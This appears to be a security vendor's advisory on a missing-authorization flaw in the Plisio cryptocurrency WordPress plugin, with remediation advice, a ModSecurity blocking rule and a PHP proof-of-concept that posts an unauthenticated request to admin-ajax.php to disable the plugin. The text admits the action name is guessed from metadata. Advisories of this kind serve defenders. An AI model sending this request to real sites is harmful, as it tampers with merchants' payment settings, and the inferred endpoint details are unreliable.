Atomic Edge analysis of CVE-2026-6372 (metadata-based): This vulnerability affects the Accept Cryptocurrencies with Plisio WordPress plugin version 2.0.6 and earlier. It is a Missing Authorization flaw that allows unauthenticated attackers to perform an unauthorized action. The CVSS score is 5.3 (Medium) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N, indicating network-based, low-complexity attacks requiring no privileges or user interaction.
Root Cause: The CWE-862 classification implies a missing capability check on a function handler. Atomic Edge analysis infers that the plugin registers an AJAX action or REST endpoint without verifying user capabilities such as ‘manage_options’ or ‘edit_posts’. The CVSS ‘I:L’ (low integrity) suggests the unauthorized action allows modifying data, likely plugin settings or order statuses, but not reading sensitive information. Without a code diff, this is an inference from the CWE and description.
Exploitation: An attacker can send a crafted HTTP POST request to the WordPress admin-ajax.php endpoint with a specific action parameter. Based on the plugin slug and common patterns, the vulnerable action is likely ‘plisio_payment_gateway_for_woocommerce_action’ or a similar handler. The attacker can trigger the function without providing a valid nonce or authentication token, because the capability check is absent.
Remediation: The developer must add a capability check to the vulnerable function using current_user_can() or similar WordPress functions. For AJAX handlers that should be admin-only, the check should verify ‘manage_options’ or ‘edit_posts’ capability. The plugin should also implement nonce verification to prevent cross-site request forgery attacks.
Impact: An unauthenticated attacker can execute a specific action that modifies plugin data. The low integrity impact suggests the attacker might change payment gateway settings, disable the plugin, or alter transaction states. There is no confidentiality impact, so no data leakage occurs. The attack does not require user interaction and can be automated.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20266372,phase:2,deny,status:403,chain,msg:'CVE-2026-6372 - Missing Authorization in Plisio plugin AJAX handler',severity:'CRITICAL',tag:'CVE-2026-6372'"
SecRule ARGS_POST:action "@streq plisio_payment_gateway_for_woocommerce_action" ""
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6372 - Accept Cryptocurrencies with Plisio <= 2.0.6 - Missing Authorization
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site URL
$admin_ajax = $target_url . '/wp-admin/admin-ajax.php';
// The vulnerable AJAX action is inferred from plugin slug and common WordPress patterns.
// Plisio likely registers an action like 'handle_plisio_callback' or 'plisio_update_settings'.
// Without source code, we test the most common pattern: 'plisio_payment_gateway_for_woocommerce_action'
$action = 'plisio_payment_gateway_for_woocommerce_action'; // Adjust based on actual plugin
$payload = [
'action' => $action,
// Attacker might pass additional parameters like 'enabled', 'api_key', etc.
// Based on inference: the unauthorized action could be 'update_plisio_settings'
'plisio_enabled' => '0', // Disable the plugin as a test
'_wpnonce' => '' // Nonce is omitted because check is missing
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_ajax);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: $http_coden";
echo "Response Body:n$responsen";
// Note: This PoC assumes the action name. If it fails, try other common action names:
// 'plisio_ajax_callback', 'plisio_admin_action', 'plisio_webhook'
